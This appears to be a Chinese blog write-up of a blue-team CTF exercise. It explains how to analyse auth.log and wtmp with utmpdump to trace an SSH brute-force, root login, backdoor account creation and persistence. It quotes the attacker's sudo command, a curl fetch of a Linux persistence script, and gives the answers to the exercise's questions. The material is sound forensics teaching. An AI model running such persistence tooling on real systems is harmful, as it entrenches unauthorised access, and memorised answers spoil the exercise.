字数 1544,阅读大约需 8 分钟
介绍
在本实验中,您将学习如何分析 Unix 系统中的 auth.log
和 wtmp
日志文件。本实验展示了一个通过 SSH 服务对 Confluence 服务器进行暴力破解的场景。攻击者成功访问了服务器,并执行了其他活动。这些活动可以通过 auth.log
进行追踪。虽然 auth.log
通常只用于分析暴力破解,但我们将在调查中讨论该日志的全部价值,包括权限升级、持久化以及部分命令执行的可见性。
您将得到以下文件:
-
1. auth.log
:主要分析对象,可用任意文本编辑器或 SIEM 工具查看。 -
2. wtmp
:使用 Linux 工具utmpdump
查看,可用于与auth.log
进行关联分析。
学习技能
-
• Unix 日志分析 -
• wtmp
文件分析 -
• 暴力破解活动分析 -
• 时间线创建 -
• 上下文分析 -
• 后渗透分析
相关标签
Linux 取证、DFIR (数字取证与事件响应)
初步分析
我们获得了 Linux 的认证日志(auth.log
)和 wtmp
输出文件。让我们首先简要介绍这些日志文件的用途及其包含的字段信息。
auth.log
auth.log
主要用于跟踪认证机制。每当用户尝试登录、切换用户或执行任何需要认证的任务时,都会在此日志中生成条目。这包括与 sshd
(SSH 守护进程)、sudo
操作以及需要认证的 cron
任务相关的活动。
auth.log 中的字段
典型条目包含以下字段:
-
1. 日期和时间:事件发生的时间戳 -
2. 主机名:发生事件的系统名称 -
3. 服务:报告事件的服务或守护进程名称(如 SSH 使用 sshd
) -
4. PID:服务的进程 ID -
5. 用户:参与认证过程的用户名 -
6. 认证状态:记录认证尝试是否成功 -
7. IP 地址/主机名:远程连接时,尝试连接的客户端 IP 或主机名 -
8. 消息:关于事件的详细信息,包括错误信息或相关代码
示例条目:
Mar 10 10:23:45 exampleserver sshd[19360]: Failed password for invalid user admin from 192.168.1.101 port 22 ssh2
WTMP 文件
wtmp
文件记录系统的登录和注销事件。该文件为二进制文件,通常位于 /var/log/wtmp
。可使用 last
命令查看,提供用户登录、注销、系统重启和运行级别更改的历史记录。
WTMP 中的字段
通过 last
等工具查看时,可以看到以下信息:
-
1. 用户名:登录或注销的用户名 -
2. 终端:终端设备名称,远程登录通常显示 SSH 或 Telnet 连接详情 -
3. IP 地址/主机名:远程登录时用户设备的 IP 或主机名 -
4. 登录时间:用户登录的时间 -
5. 注销时间:用户注销或关闭会话的时间 -
6. 持续时间:会话持续的时间
示例输出:
sebh24 pts/0 192.168.1.100 Sat Mar 10 10:23 - 10:25 (00:02)
使用 utmpdump 工具
utmpdump
是 Linux/Unix 系统中的工具,用于读取和解码二进制日志文件,如 utmp
、wtmp
和 btmp
。以下是操作步骤:
-
1. 打开终端。 -
2. 使用命令读取文件,例如: utmpdump /var/log/wtmp
-
3. 输出可通过 >
操作符重定向到文件保存:sudo utmpdump /var/log/wtmp > decoded_wtmp.txt
utmpdump 输出字段
-
1. 类型:记录类型,如用户登录、注销、系统启动或关闭 -
2. PID:事件相关的进程 ID -
3. 终端:用户登录的终端名称 -
4. ID:与终端字段相关的短标识符 -
5. 用户:事件相关的用户名 -
6. 主机:用户访问系统的主机名或 IP 地址 -
7. 时间:事件的时间戳
问题回答
以下是与日志分析相关的问题:
-
1. 分析 auth.log
,识别攻击者进行暴力破解的 IP 地址? 打开这个很容易看出来,答案:65.2.161.68
-
2. 攻击者成功破解后,访问了哪个账户? 答案:root
-
3. 你能识别出攻击者手动登录服务器以执行其目标时的时间戳吗,使用wtmp工件? 由题目2的图可以看出来,其扫描器是认证成功,然后创建对话立即就结束了而32分44秒即其手动登录的日志然后我们用utmpdump找到其时间戳WTMP记录中的条目记录了终端的创建和销毁,或者终端的分配和释放给用户。在这个上下文中,我们能够准确地追踪由TA创建的交互式会话在WTMP中。 答案:2024-03-06 06:32:45
-
4. 攻击者的 SSH 会话编号是多少? 在 auth.log
文件中,每次成功的 SSH 登录都会分配一个会话编号。根据攻击者登录root
账户后的日志,分配的会话编号为 37。答案:37
-
5. 攻击者创建的新账户名称是什么? 攻击者通过 useradd
和usermod
命令创建了一个新的用户账户,并赋予了更高的权限。通过搜索关键字 "useradd" 和 "usermod",可以确定新账户的名称为 cyberjunkie。如图334-338行:答案:cyberjunkie
-
6. 持久化技术的 MITRE 技术编号是什么? 考察对MITRE的了解https://attack.mitre.org/ 再细分下,显而易见这个权限维持是创建本地用户
答案:T1136.001
-
7. 攻击者的第一次 SSH 会话结束是什么时间? 在 wtmp
文件中可以看到攻击者的 SSH 会话从 06:32:45 开始,到 06:37:24 结束。06:37:24−06:32:45=279 秒答案:2024-03-06 06:37:24
-
8. 攻击者登录后使用的 sudo 命令是什么? 尽管auth.log不是像auditd那样用于跟踪命令执行的工件,但当使用sudo关键字执行命令时,由于系统需要验证账户权限以获得该命令的root级别权限,因此该命令会被记录在auth.log中。你可以搜索关键字"COMMAND"来找到使用sudo命令执行的命令。 答案:
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
最后需要练习的朋友可以在公众号后台回复0109
下载相关习题
原文始发于微信公众号(Zacarx随笔):【蓝队CTF-1】Brutus_auth.log&wtmp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论